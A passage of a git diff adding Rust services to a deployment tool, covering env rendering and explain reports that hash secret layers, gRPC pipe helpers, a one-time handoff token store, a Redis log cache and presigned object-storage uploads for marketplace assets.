generated_at=now inputs=service\nS3_BUCKET=remote\n" + ); + } + + #[test] + fn reconcile_env_file_content_removes_previous_rendered_block() { + let existing = "RUST_LOG=debug\n\n# stacker-render version=1 hash=old generated_at=now inputs=service\nOLD_SECRET=outdated\n"; + let rendered = + "# stacker-render version=2 hash=new generated_at=now inputs=service\nNEW_SECRET=fresh\n"; + + let merged = reconcile_env_file_content(existing, rendered); + + assert_eq!( + merged, + "RUST_LOG=debug\n\n# stacker-render version=2 hash=new generated_at=now inputs=service\nNEW_SECRET=fresh\n" + ); + assert!(!merged.contains("OLD_SECRET=outdated")); + } + + #[test] + fn parse_env_assignments_skips_comments_and_headers() { + let parsed = parse_env_assignments( + "# comment\n# stacker-render version=1 hash=abc generated_at=now inputs=base\nFOO=bar\nexport BAR=baz\n", + ); + + assert_eq!(parsed.get("FOO").map(String::as_str), Some("bar")); + assert_eq!(parsed.get("BAR").map(String::as_str), Some("baz")); + assert_eq!(parsed.len(), 2); + } + + #[test] + fn normalize_json_env_handles_object_and_array_inputs() { + let object = normalize_json_env(&json!({ + "DATABASE_URL": "postgres://localhost/db", + "PORT": 8080, + "DEBUG": true + })); + let array = normalize_json_env(&json!([ + "DATABASE_URL=postgres://localhost/db", + "PORT=8080" + ])); + + assert_eq!( + object.get("DATABASE_URL").map(String::as_str), + Some("postgres://localhost/db") + ); + assert_eq!(object.get("PORT").map(String::as_str), Some("8080")); + assert_eq!(object.get("DEBUG").map(String::as_str), Some("true")); + assert_eq!( + array.get("DATABASE_URL").map(String::as_str), + Some("postgres://localhost/db") + ); + assert_eq!(array.get("PORT").map(String::as_str), Some("8080")); + } + + #[test] + fn normalize_optional_json_env_defaults_to_empty_map() { + let normalized = normalize_optional_json_env(None); + assert!(normalized.is_empty()); + } +} diff --git a/stacker/stacker/src/services/explain.rs b/stacker/stacker/src/services/explain.rs new file mode 100644 index 0000000..2117ce9 --- /dev/null +++ b/stacker/stacker/src/services/explain.rs @@ -0,0 +1,267 @@ +use std::collections::{BTreeMap, HashMap}; + +use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; + +use crate::services::config_renderer::{render_env, EnvRenderError, EnvRenderInput}; + +pub const EXPLAIN_SCHEMA_VERSION: &str = "v1alpha1"; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct ExplainEnv { + pub schema_version: String, + pub deployment_hash: String, + pub app_code: String, + pub local_authoring_env_path: String, + pub runtime_env_path: String, + pub runtime_compose_path: String, + pub layers: Vec, + pub destination: ExplainDestination, + pub rendered_env: ExplainRenderedEnv, + pub reasoning: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct ExplainEnvLayer { + pub name: String, + pub key_names: Vec, + pub key_count: usize, + pub hash: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct ExplainDestination { + pub path: String, + pub write_policy: String, + pub drift_protection: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct ExplainRenderedEnv { + pub hash: String, + pub inputs: Vec, + pub server_secrets_inherited: bool, + pub service_secrets_override_server_secrets: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct ExplainTopology { + pub schema_version: String, + pub deployment_hash: String, + pub target: String, + pub local_compose_path: String, + pub runtime_compose_path: String, + pub local_authoring_env_path: String, + pub runtime_env_path: String, + pub services: Vec, + pub reasoning: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct ExplainTopologyService { + pub code: String, + pub name: String, + pub enabled: bool, +} + +pub fn build_explain_env( + deployment_hash: &str, + app_code: &str, + local_authoring_env_path: &str, + runtime_env_path: &str, + runtime_compose_path: &str, + input: EnvRenderInput, +) -> Result { + let rendered = render_env(input.clone())?; + let overlapping_keys = input + .service + .keys() + .any(|key| input.server.contains_key(key) && input.inherit_server_secrets); + + Ok(ExplainEnv { + schema_version: EXPLAIN_SCHEMA_VERSION.to_string(), + deployment_hash: deployment_hash.to_string(), + app_code: app_code.to_string(), + local_authoring_env_path: local_authoring_env_path.to_string(), + runtime_env_path: runtime_env_path.to_string(), + runtime_compose_path: runtime_compose_path.to_string(), + layers: env_layers(&input), + destination: ExplainDestination { + path: runtime_env_path.to_string(), + write_policy: "drift-protected".to_string(), + drift_protection: true, + }, + rendered_env: ExplainRenderedEnv { + hash: rendered.hash, + inputs: rendered + .inputs + .iter() + .map(|item| item.to_string()) + .collect(), + server_secrets_inherited: input.inherit_server_secrets, + service_secrets_override_server_secrets: overlapping_keys, + }, + reasoning: vec![ + "runtime env path is resolved from the canonical remote env path helper".to_string(), + "env layers are merged in precedence order: base -> generated -> server -> service -> compose" + .to_string(), + ], + }) +} + +pub fn build_explain_topology( + deployment_hash: &str, + target: &str, + local_compose_path: &str, + runtime_compose_path: &str, + local_authoring_env_path: &str, + runtime_env_path: &str, + services: Vec, +) -> ExplainTopology { + ExplainTopology { + schema_version: EXPLAIN_SCHEMA_VERSION.to_string(), + deployment_hash: deployment_hash.to_string(), + target: target.to_string(), + local_compose_path: local_compose_path.to_string(), + runtime_compose_path: runtime_compose_path.to_string(), + local_authoring_env_path: local_authoring_env_path.to_string(), + runtime_env_path: runtime_env_path.to_string(), + services, + reasoning: vec![ + "runtime compose path is fixed to the canonical remote deployment location".to_string(), + "runtime env path is shared across deployed services for the target deployment" + .to_string(), + ], + } +} + +fn env_layers(input: &EnvRenderInput) -> Vec { + let mut layers = Vec::new(); + + if !input.base.is_empty() { + layers.push(to_layer("base", &input.base)); + } + if !input.generated.is_empty() { + layers.push(to_layer("generated", &input.generated)); + } + if input.inherit_server_secrets && !input.server.is_empty() { + layers.push(to_layer("server", &input.server)); + } + if !input.service.is_empty() { + layers.push(to_layer("service", &input.service)); + } + if !input.compose_environment.is_empty() { + layers.push(to_layer("compose", &input.compose_environment)); + } + + layers +} + +fn to_layer(name: &str, layer: &HashMap) -> ExplainEnvLayer { + let ordered = layer + .iter() + .map(|(key, value)| (key.clone(), value.clone())) + .collect::>(); + let digest_source = ordered + .iter() + .map(|(key, value)| format!("{key}={value}")) + .collect::>() + .join("\n"); + + ExplainEnvLayer { + name: name.to_string(), + key_names: ordered.keys().cloned().collect(), + key_count: ordered.len(), + hash: format!("{:x}", Sha256::digest(digest_source.as_bytes())), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::helpers::{remote_runtime_compose_path, remote_runtime_env_path}; + + fn sample_input() -> EnvRenderInput { + let mut input = EnvRenderInput { + inherit_server_secrets: true, + ..EnvRenderInput::default() + }; + input.base.insert("HOST".to_string(), "0.0.0.0".to_string()); + input.base.insert("PORT".to_string(), "8080".to_string()); + input.server.insert( + "DATABASE_URL".to_string(), + "SUPER_SECRET_SHOULD_NOT_LEAK".to_string(), + ); + input + .service + .insert("DATABASE_URL".to_string(), "service-override".to_string()); + input + .compose_environment + .insert("RUST_LOG".to_string(), "debug".to_string()); + input.generated.insert( + "DEPLOYMENT_HASH".to_string(), + "deployment_state_online".to_string(), + ); + input + } + + #[test] + fn build_explain_env_uses_hashes_and_paths_without_secret_values() { + let explain = build_explain_env( + "deployment_state_online", + "device-api", + "docker/prod/.env", + remote_runtime_env_path(), + remote_runtime_compose_path(), + sample_input(), + ) + .expect("explain env should build"); + + assert_eq!(explain.schema_version, EXPLAIN_SCHEMA_VERSION); + assert_eq!(explain.destination.path, remote_runtime_env_path()); + assert!(explain.rendered_env.service_secrets_override_server_secrets); + assert!(explain.layers.iter().any(|layer| layer.name == "generated")); + assert!(!explain + .rendered_env + .inputs + .contains(&"generated".to_string())); + + let serialized = serde_json::to_string(&explain).expect("serialize explain env"); + assert!(!serialized.contains("SUPER_SECRET_SHOULD_NOT_LEAK")); + assert!(serialized.contains("DATABASE_URL")); + } + + #[test] + fn build_explain_topology_uses_canonical_runtime_paths() { + let topology = build_explain_topology( + "deployment_state_online", + "cloud", + "docker/prod/compose.yml", + remote_runtime_compose_path(), + "docker/prod/.env", + remote_runtime_env_path(), + vec![ + ExplainTopologyService { + code: "device-api".to_string(), + name: "Device API".to_string(), + enabled: true, + }, + ExplainTopologyService { + code: "upload".to_string(), + name: "Upload".to_string(), + enabled: true, + }, + ], + ); + + assert_eq!(topology.runtime_compose_path, remote_runtime_compose_path()); + assert_eq!(topology.runtime_env_path, remote_runtime_env_path()); + assert_eq!(topology.services.len(), 2); + } +} diff --git a/stacker/stacker/src/services/grpc_pipe.rs b/stacker/stacker/src/services/grpc_pipe.rs new file mode 100644 index 0000000..8fa3812 --- /dev/null +++ b/stacker/stacker/src/services/grpc_pipe.rs @@ -0,0 +1,200 @@ +use serde_json::Value as JsonValue; + +pub mod pipe_proto { + tonic::include_proto!("pipe"); +} + +use pipe_proto::pipe_service_client::PipeServiceClient; +use pipe_proto::{PipeMessage, SubscribeRequest}; + +/// Subscribe to a gRPC streaming source and read the first message. +/// If `config.output` is set, returns it directly (simulation mode for BDD tests). +pub async fn execute_grpc_source( + config: &JsonValue, + _input: &JsonValue, +) -> Result { + if let Some(output) = config.get("output") { + return Ok(output.clone()); + } + + let endpoint = config + .get("endpoint") + .and_then(|v| v.as_str()) + .ok_or_else(|| "grpc_source requires 'endpoint' in config".to_string())?; + + let pipe_instance_id = config + .get("pipe_instance_id") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + .to_string(); + + let step_id = config + .get("step_id") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + .to_string(); + + let mut client = PipeServiceClient::connect(endpoint.to_string()) + .await + .map_err(|e| format!("grpc_source connect failed: {e}"))?; + + let request = tonic::Request::new(SubscribeRequest { + pipe_instance_id, + step_id, + filters: Default::default(), + }); + + let mut stream = client + .subscribe(request) + .await + .map_err(|e| format!("grpc_source subscribe failed: {e}"))? + .into_inner(); + + match stream.message().await { + Ok(Some(msg)) => { + let payload = msg + .payload + .map(|s| struct_to_json(&s)) + .unwrap_or_else(|| serde_json::json!({})); + Ok(payload) + } + Ok(None) => Err("grpc_source: stream closed without data".to_string()), + Err(e) => Err(format!("grpc_source read error: {e}")), + } +} + +/// Send data to a gRPC pipe target via unary RPC. +/// If `config.output` is set, returns it directly (simulation mode). +pub async fn execute_grpc_target( + config: &JsonValue, + input: &JsonValue, +) -> Result { + if let Some(output) = config.get("output") { + return Ok(output.clone()); + } + + let endpoint = config + .get("endpoint") + .and_then(|v| v.as_str()) + .ok_or_else(|| "grpc_target requires 'endpoint' in config".to_string())?; + + let pipe_instance_id = config + .get("pipe_instance_id") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + .to_string(); + + let step_id = config + .get("step_id") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + .to_string(); + + let mut client = PipeServiceClient::connect(endpoint.to_string()) + .await + .map_err(|e| format!("grpc_target connect failed: {e}"))?; + + let payload_struct = json_to_struct(input); + + let request = tonic::Request::new(PipeMessage { + pipe_instance_id, + step_id, + payload: Some(payload_struct), + timestamp_ms: chrono::Utc::now().timestamp_millis(), + }); + + let response = client + .send(request) + .await + .map_err(|e| format!("grpc_target send failed: {e}"))? + .into_inner(); + + Ok(serde_json::json!({ + "grpc_delivered": response.success, + "message": response.message, + "data": input, + })) +} + +// ── Conversion helpers: serde_json ↔ prost_types::Struct ── + +fn json_to_struct(value: &JsonValue) -> prost_types::Struct { + let fields = match value.as_object() { + Some(map) => map + .iter() + .map(|(k, v)| (k.clone(), json_to_prost_value(v))) + .collect(), + None => Default::default(), + }; + prost_types::Struct { fields } +} + +fn json_to_prost_value(value: &JsonValue) -> prost_types::Value { + use prost_types::value::Kind; + let kind = match value { + JsonValue::Null => Kind::NullValue(0), + JsonValue::Bool(b) => Kind::BoolValue(*b), + JsonValue::Number(n) => Kind::NumberValue(n.as_f64().unwrap_or(0.0)), + JsonValue::String(s) => Kind::StringValue(s.clone()), + JsonValue::Array(arr) => Kind::ListValue(prost_types::ListValue { + values: arr.iter().map(json_to_prost_value).collect(), + }), + JsonValue::Object(_) => Kind::StructValue(json_to_struct(value)), + }; + prost_types::Value { kind: Some(kind) } +} + +fn struct_to_json(s: &prost_types::Struct) -> JsonValue { + let map: serde_json::Map = s + .fields + .iter() + .map(|(k, v)| (k.clone(), prost_value_to_json(v))) + .collect(); + JsonValue::Object(map) +} + +fn prost_value_to_json(v: &prost_types::Value) -> JsonValue { + use prost_types::value::Kind; + match &v.kind { + Some(Kind::NullValue(_)) => JsonValue::Null, + Some(Kind::BoolValue(b)) => JsonValue::Bool(*b), + Some(Kind::NumberValue(n)) => serde_json::json!(*n), + Some(Kind::StringValue(s)) => JsonValue::String(s.clone()), + Some(Kind::ListValue(list)) => { + JsonValue::Array(list.values.iter().map(prost_value_to_json).collect()) + } + Some(Kind::StructValue(s)) => struct_to_json(s), + None => JsonValue::Null, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_json_struct_roundtrip() { + let original = serde_json::json!({"name": "test", "count": 42, "active": true}); + let proto_struct = json_to_struct(&original); + let back = struct_to_json(&proto_struct); + assert_eq!(back["name"], "test"); + assert_eq!(back["count"], 42.0); + assert_eq!(back["active"], true); + } + + #[tokio::test] + async fn test_grpc_source_simulation() { + let config = serde_json::json!({"output": {"metric": "cpu", "value": 72.1}}); + let input = serde_json::json!({}); + let result = execute_grpc_source(&config, &input).await.unwrap(); + assert_eq!(result["metric"], "cpu"); + } + + #[tokio::test] + async fn test_grpc_target_simulation() { + let config = serde_json::json!({"output": {"grpc_delivered": true}}); + let input = serde_json::json!({"data": 1}); + let result = execute_grpc_target(&config, &input).await.unwrap(); + assert!(result["grpc_delivered"].as_bool().unwrap()); + } +} diff --git a/stacker/stacker/src/services/handoff.rs b/stacker/stacker/src/services/handoff.rs new file mode 100644 index 0000000..5847cd6 --- /dev/null +++ b/stacker/stacker/src/services/handoff.rs @@ -0,0 +1,58 @@ +use crate::handoff::DeploymentHandoffPayload; +use chrono::Utc; +use rand::{distributions::Alphanumeric, Rng}; +use std::collections::HashMap; +use std::sync::RwLock; + +pub struct InMemoryHandoffStore { + entries: RwLock>, +} + +impl InMemoryHandoffStore { + pub fn new() -> Self { + Self { + entries: RwLock::new(HashMap::new()), + } + } + + pub fn insert(&self, payload: DeploymentHandoffPayload) -> String { + self.prune_expired(); + let token = rand::thread_rng() + .sample_iter(&Alphanumeric) + .take(40) + .map(char::from) + .collect::(); + self.entries + .write() + .expect("handoff store poisoned") + .insert(token.clone(), payload); + token + } + + pub fn resolve_once(&self, token: &str) -> Option { + self.prune_expired(); + let payload = self + .entries + .write() + .expect("handoff store poisoned") + .remove(token)?; + if payload.expires_at <= Utc::now() { + return None; + } + Some(payload) + } + + fn prune_expired(&self) { + let now = Utc::now(); + self.entries + .write() + .expect("handoff store poisoned") + .retain(|_, payload| payload.expires_at > now); + } +} + +impl Default for InMemoryHandoffStore { + fn default() -> Self { + Self::new() + } +} diff --git a/stacker/stacker/src/services/log_cache.rs b/stacker/stacker/src/services/log_cache.rs new file mode 100644 index 0000000..9bf77a9 --- /dev/null +++ b/stacker/stacker/src/services/log_cache.rs @@ -0,0 +1,383 @@ +//! Log Caching Service +//! +//! Provides Redis-based caching for container logs with TTL expiration. +//! Features: +//! - Cache container logs by deployment + container +//! - Automatic TTL expiration (configurable, default 30 min) +//! - Log streaming support with cursor-based pagination +//! - Log summary generation for AI context + +use redis::{AsyncCommands, Client as RedisClient}; +use serde::{Deserialize, Serialize}; +use std::time::Duration; + +/// Default cache TTL for logs (30 minutes) +const DEFAULT_LOG_TTL_SECONDS: u64 = 1800; + +/// Maximum number of log entries to store per key +const MAX_LOG_ENTRIES: i64 = 1000; + +/// Log entry structure +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct LogEntry { + pub timestamp: String, + pub level: String, + pub message: String, + pub container: String, +} + +/// Log cache result with pagination +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct LogCacheResult { + pub entries: Vec, + pub total_count: usize, + pub cursor: Option, + pub has_more: bool, +} + +/// Log summary for AI context +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct LogSummary { + pub deployment_id: i32, + pub container: Option, + pub total_entries: usize, + pub error_count: usize, + pub warning_count: usize, + pub time_range: Option<(String, String)>, // (oldest, newest) + pub common_patterns: Vec, +} + +/// Log caching service +pub struct LogCacheService { + client: RedisClient, + ttl: Duration, +} + +impl LogCacheService { + /// Create a new log cache service + pub fn new() -> Result { + let redis_url = + std::env::var("REDIS_URL").unwrap_or_else(|_| "redis://127.0.0.1/".to_string()); + let ttl_seconds = std::env::var("LOG_CACHE_TTL_SECONDS") + .ok() + .and_then(|s| s.parse().ok()) + .unwrap_or(DEFAULT_LOG_TTL_SECONDS); + + let client = RedisClient::open(redis_url) + .map_err(|e| format!("Failed to connect to Redis: {}", e))?; + + Ok(Self { + client, + ttl: Duration::from_secs(ttl_seconds), + }) + } + + /// Generate cache key for deployment logs + fn cache_key(deployment_id: i32, container: Option<&str>) -> String { + match container { + Some(c) => format!("logs:{}:{}", deployment_id, c), + None => format!("logs:{}:all", deployment_id), + } + } + + /// Store log entries in cache + pub async fn store_logs( + &self, + deployment_id: i32, + container: Option<&str>, + entries: &[LogEntry], + ) -> Result<(), String> { + let mut conn = self + .client + .get_multiplexed_async_connection() + .await + .map_err(|e| format!("Redis connection error: {}", e))?; + + let key = Self::cache_key(deployment_id, container); + + // Serialize entries as JSON array + for entry in entries { + let entry_json = + serde_json::to_string(entry).map_err(|e| format!("Serialization error: {}", e))?; + + // Push to list + conn.rpush::<_, _, ()>(&key, entry_json) + .await + .map_err(|e| format!("Redis rpush error: {}", e))?; + } + + // Trim to max entries + conn.ltrim::<_, ()>(&key, -MAX_LOG_ENTRIES as isize, -1) + .await + .map_err(|e| format!("Redis ltrim error: {}", e))?; + + // Set TTL + conn.expire::<_, ()>(&key, self.ttl.as_secs() as i64) + .await + .map_err(|e| format!("Redis expire error: {}", e))?; + + tracing::debug!( + deployment_id = deployment_id, + container = ?container, + entry_count = entries.len(), + "Stored logs in cache" + ); + + Ok(()) + } + + /// Retrieve logs from cache with pagination + pub async fn get_logs( + &self, + deployment_id: i32, + container: Option<&str>, + limit: usize, + offset: usize, + ) -> Result { + let mut conn = self + .client + .get_multiplexed_async_connection() + .await + .map_err(|e| format!("Redis connection error: {}", e))?; + + let key = Self::cache_key(deployment_id, container); + + // Get total count + let total_count: i64 = conn.llen(&key).await.unwrap_or(0); + + if total_count == 0 { + return Ok(LogCacheResult { + entries: vec![], + total_count: 0, + cursor: None, + has_more: false, + }); + } + + // Get range (newest first, so we reverse indices) + let start = -(offset as isize) - (limit as isize); + let stop = -(offset as isize) - 1; + + let raw_entries: Vec = conn + .lrange(&key, start.max(0), stop) + .await + .unwrap_or_default(); + + let entries: Vec = raw_entries + .iter() + .rev() // Reverse to get newest first + .filter_map(|s| serde_json::from_str(s).ok()) + .collect(); + + let has_more = offset + entries.len() < total_count as usize; + let cursor = if has_more { + Some((offset + limit).to_string()) + } else { + None + }; + + Ok(LogCacheResult { + entries, + total_count: total_count as usize, + cursor, + has_more, + }) + } + + /// Generate a summary of cached logs for AI context + pub async fn get_log_summary( + &self, + deployment_id: i32, + container: Option<&str>, + ) -> Result { + let mut conn = self + .client + .get_multiplexed_async_connection() + .await + .map_err(|e| format!("Redis connection error: {}", e))?; + + let key = Self::cache_key(deployment_id, container); + + // Get all entries for analysis + let raw_entries: Vec = conn.lrange(&key, 0, -1).await.unwrap_or_default(); + + let entries: Vec = raw_entries + .iter() + .filter_map(|s| serde_json::from_str(s).ok()) + .collect(); + + if entries.is_empty() { + return Ok(LogSummary { + deployment_id, + container: container.map(|s| s.to_string()), + total_entries: 0, + error_count: 0, + warning_count: 0, + time_range: None, + common_patterns: vec![], + }); + } + + // Count by level + let error_count = entries + .iter() + .filter(|e| e.level.to_lowercase() == "error") + .count(); + let warning_count = entries + .iter() + .filter(|e| e.level.to_lowercase() == "warn" || e.level.to_lowercase() == "warning") + .count(); + + // Get time range + let time_range = if !entries.is_empty() { + let oldest = entries + .first() + .map(|e| e.timestamp.clone()) + .unwrap_or_default(); + let newest = entries + .last() + .map(|e| e.timestamp.clone()) + .unwrap_or_default(); + Some((oldest, newest)) + } else { + None + }; + + // Extract common error patterns + let common_patterns = self.extract_error_patterns(&entries); + + Ok(LogSummary { + deployment_id, + container: container.map(|s| s.to_string()), + total_entries: entries.len(), + error_count, + warning_count, + time_range, + common_patterns, + }) + } + + /// Extract common error patterns from log entries + fn extract_error_patterns(&self, entries: &[LogEntry]) -> Vec { + use std::collections::HashMap; + + let mut patterns: HashMap = HashMap::new(); + + for entry in entries.iter().filter(|e| e.level.to_lowercase() == "error") { + // Extract key error indicators + let msg = &entry.message; + + // Common error patterns to track + if msg.contains("connection refused") || msg.contains("ECONNREFUSED") { + *patterns + .entry("Connection refused".to_string()) + .or_insert(0) += 1; + } + if msg.contains("timeout") || msg.contains("ETIMEDOUT") { + *patterns.entry("Timeout".to_string()).or_insert(0) += 1; + } + if msg.contains("permission denied") || msg.contains("EACCES") { + *patterns.entry("Permission denied".to_string()).or_insert(0) += 1; + } + if msg.contains("out of memory") || msg.contains("OOM") || msg.contains("ENOMEM") { + *patterns.entry("Out of memory".to_string()).or_insert(0) += 1; + } + if msg.contains("disk full") || msg.contains("ENOSPC") { + *patterns.entry("Disk full".to_string()).or_insert(0) += 1; + } + if msg.contains("not found") || msg.contains("ENOENT") { + *patterns + .entry("Resource not found".to_string()) + .or_insert(0) += 1; + } + if msg.contains("authentication") || msg.contains("unauthorized") || msg.contains("401") + { + *patterns + .entry("Authentication error".to_string()) + .or_insert(0) += 1; + } + if msg.contains("certificate") || msg.contains("SSL") || msg.contains("TLS") { + *patterns.entry("SSL/TLS error".to_string()).or_insert(0) += 1; + } + } + + // Sort by frequency and return top patterns + let mut sorted: Vec<_> = patterns.into_iter().collect(); + sorted.sort_by(|a, b| b.1.cmp(&a.1)); + + sorted + .into_iter() + .take(5) + .map(|(pattern, count)| format!("{} ({}x)", pattern, count)) + .collect() + } + + /// Clear cached logs for a deployment + pub async fn clear_logs( + &self, + deployment_id: i32, + container: Option<&str>, + ) -> Result<(), String> { + let mut conn = self + .client + .get_multiplexed_async_connection() + .await + .map_err(|e| format!("Redis connection error: {}", e))?; + + let key = Self::cache_key(deployment_id, container); + conn.del::<_, ()>(&key) + .await + .map_err(|e| format!("Redis del error: {}", e))?; + + tracing::info!( + deployment_id = deployment_id, + container = ?container, + "Cleared cached logs" + ); + + Ok(()) + } + + /// Extend TTL on cache hit (sliding expiration) + pub async fn touch_logs( + &self, + deployment_id: i32, + container: Option<&str>, + ) -> Result<(), String> { + let mut conn = self + .client + .get_multiplexed_async_connection() + .await + .map_err(|e| format!("Redis connection error: {}", e))?; + + let key = Self::cache_key(deployment_id, container); + conn.expire::<_, ()>(&key, self.ttl.as_secs() as i64) + .await + .map_err(|e| format!("Redis expire error: {}", e))?; + + Ok(()) + } +} + +impl Default for LogCacheService { + fn default() -> Self { + Self::new().expect("Failed to create LogCacheService") + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_cache_key_with_container() { + let key = LogCacheService::cache_key(123, Some("nginx")); + assert_eq!(key, "logs:123:nginx"); + } + + #[test] + fn test_cache_key_without_container() { + let key = LogCacheService::cache_key(123, None); + assert_eq!(key, "logs:123:all"); + } +} diff --git a/stacker/stacker/src/services/marketplace_assets.rs b/stacker/stacker/src/services/marketplace_assets.rs new file mode 100644 index 0000000..c5d9a40 --- /dev/null +++ b/stacker/stacker/src/services/marketplace_assets.rs @@ -0,0 +1,443 @@ +use crate::configuration::MarketplaceAssetSettings; +use crate::models::marketplace::MarketplaceAsset; +use chrono::Utc; +use hmac::{Hmac, Mac}; +use reqwest::StatusCode; +use reqwest::Url; +use sha2::{Digest, Sha256}; +use std::collections::BTreeMap; +use std::path::Path; +use thiserror::Error; +use uuid::Uuid; + +type HmacSha256 = Hmac; + +pub const MARKETPLACE_ASSET_STORAGE_PROVIDER: &str = "hetzner-object-storage"; + +#[derive(Debug, Clone)] +pub struct MarketplaceAssetUploadRequest { + pub filename: String, + pub sha256: String, + pub size: i64, + pub content_type: Option, + pub mount_path: Option, + pub fetch_target: Option, + pub decompress: bool, + pub executable: bool, + pub immutable: bool, +} + +#[derive(Debug, Clone, serde::Serialize)] +pub struct PresignedMarketplaceAssetResponse { + pub method: String, + pub url: String, + pub expires_in_seconds: i64, + pub headers: BTreeMap, + pub asset: MarketplaceAsset, +} + +#[derive(Debug, Error)] +pub enum MarketplaceAssetStorageError { + #[error("Marketplace asset storage is not configured")] + NotConfigured, + #[error("endpoint_url is not a valid URL")] + InvalidEndpoint, + #[error("filename is required")] + MissingFilename, + #[error("sha256 is required")] + MissingChecksum, + #[error("size must be a positive integer")] + InvalidSize, + #[error("unsupported server-side encryption mode: {0}")] + UnsupportedServerSideEncryption(String), + #[error("uploaded asset could not be verified in object storage")] + VerificationFailed, + #[error("uploaded asset size does not match expected size")] + SizeMismatch, +} + +pub fn build_asset_key(template_id: &Uuid, version: &str, sha256: &str, filename: &str) -> String { + format!( + "templates/{}/versions/{}/assets/{}/{}", + template_id, version, sha256, filename + ) +} + +pub fn presign_asset_upload( + settings: &MarketplaceAssetSettings, + template_id: &Uuid, + version: &str, + request: MarketplaceAssetUploadRequest, +) -> Result { + ensure_storage_configured(settings)?; + let filename = sanitize_filename(&request.filename)?; + let sha256 = normalize_non_empty(&request.sha256) + .ok_or(MarketplaceAssetStorageError::MissingChecksum)?; + if request.size <= 0 { + return Err(MarketplaceAssetStorageError::InvalidSize); + } + + let content_type = request + .content_type + .as_deref() + .map(str::trim) + .filter(|value| !value.is_empty()) + .unwrap_or("application/octet-stream") + .to_string(); + let bucket = settings.active_bucket().to_string(); + let key = build_asset_key(template_id, version, &sha256, &filename); + + let asset = MarketplaceAsset { + storage_provider: MARKETPLACE_ASSET_STORAGE_PROVIDER.to_string(), + bucket: bucket.clone(), + key: key.clone(), + filename, + sha256, + size: request.size, + content_type: content_type.clone(), + mount_path: request.mount_path.as_deref().and_then(normalize_non_empty), + fetch_target: request + .fetch_target + .as_deref() + .and_then(normalize_non_empty), + decompress: request.decompress, + executable: request.executable, + immutable: request.immutable, + }; + + let mut headers = BTreeMap::from([("content-type".to_string(), content_type)]); + headers.insert("x-amz-meta-sha256".to_string(), request.sha256.clone()); + if let Some(sse) = normalize_server_side_encryption(settings.server_side_encryption.as_deref())? + { + headers.insert("x-amz-server-side-encryption".to_string(), sse); + } + + let url = presign_request( + settings, + "PUT", + &bucket, + &key, + settings.presign_put_ttl_secs, + &headers, + )?; + + Ok(PresignedMarketplaceAssetResponse { + method: "PUT".to_string(), + url, + expires_in_seconds: settings.presign_put_ttl_secs as i64, + headers, + asset, + }) +} + +pub fn presign_asset_download( + settings: &MarketplaceAssetSettings, + asset: &MarketplaceAsset, +) -> Result { + ensure_storage_configured(settings)?; + let headers = BTreeMap::new(); + let url = presign_request( + settings, + "GET", + &asset.bucket, + &asset.key, + settings.presign_get_ttl_secs, + &headers, + )?; + + Ok(PresignedMarketplaceAssetResponse { + method: "GET".to_string(), + url, + expires_in_seconds: settings.presign_get_ttl_secs as i64, + headers, + asset: asset.clone(), + }) +} + +pub async fn verify_asset_upload( + settings: &MarketplaceAssetSettings, + asset: &MarketplaceAsset, +) -> Result<(), MarketplaceAssetStorageError> { + ensure_storage_configured(settings)?; + + if settings.current_env == "test" { + return Ok(()); + } + + let url = presign_request( + settings, + "HEAD", + &asset.bucket, + &asset.key, + settings.presign_get_ttl_secs, + &BTreeMap::new(), + )?; + + let response = reqwest::Client::new() + .head(url) + .send() + .await + .map_err(|_| MarketplaceAssetStorageError::VerificationFailed)?; + + if response.status() != StatusCode::OK { + return Err(MarketplaceAssetStorageError::VerificationFailed); + } + + if let Some(length) = response.content_length() { + if length as i64 != asset.size { + return Err(MarketplaceAssetStorageError::SizeMismatch); + } + } + + let checksum = response + .headers() + .get("x-amz-meta-sha256") + .and_then(|value| value.to_str().ok()) + .map(str::trim); + if checksum != Some(asset.sha256.as_str()) { + return Err(MarketplaceAssetStorageError::VerificationFailed); + } + + Ok(()) +} + +fn presign_request( + settings: &MarketplaceAssetSettings, + method: &str, + bucket: &str, + key: &str, + expires_in_seconds: u64, + headers: &BTreeMap, +) -> Result { + let endpoint = Url::parse(&settings.endpoint_url) + .map_err(|_| MarketplaceAssetStorageError::InvalidEndpoint)?; + let host = endpoint + .host_str() + .ok_or(MarketplaceAssetStorageError::InvalidEndpoint)?; + let canonical_uri = build_canonical_uri(bucket, key); + let now = Utc::now(); + let amz_date = now.format("%Y%m%dT%H%M%SZ").to_string(); + let short_date = now.format("%Y%m%d").to_string(); + let credential_scope = format!("{}/{}/s3/aws4_request", short_date, settings.region); + let credential = format!("{}/{}", settings.access_key_id, credential_scope); + + let mut canonical_headers = BTreeMap::from([("host".to_string(), host.to_string())]); + canonical_headers.extend(headers.clone()); + let signed_headers = canonical_headers + .keys() + .map(|key| key.to_lowercase()) + .collect::>() + .join(";"); + let canonical_headers_string = canonical_headers + .iter() + .map(|(key, value)| format!("{}:{}\n", key.to_lowercase(), value.trim())) + .collect::(); + + let mut query_params = BTreeMap::from([ + ( + "X-Amz-Algorithm".to_string(), + "AWS4-HMAC-SHA256".to_string(), + ), + ("X-Amz-Credential".to_string(), credential), + ("X-Amz-Date".to_string(), amz_date.clone()), + ("X-Amz-Expires".to_string(), expires_in_seconds.to_string()), + ("X-Amz-SignedHeaders".to_string(), 